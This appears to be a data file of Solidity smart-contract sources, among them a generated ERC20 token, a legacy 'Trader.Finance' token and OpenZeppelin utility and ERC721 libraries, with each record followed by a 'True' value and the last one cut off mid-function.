@dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }

True

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pragma solidity ^0.4.16; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 5000000000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 5000000000000000000000; // Update total supply (100000 for example) name = "Trader.Finance"; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = "TRDF"; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }

True

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// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, 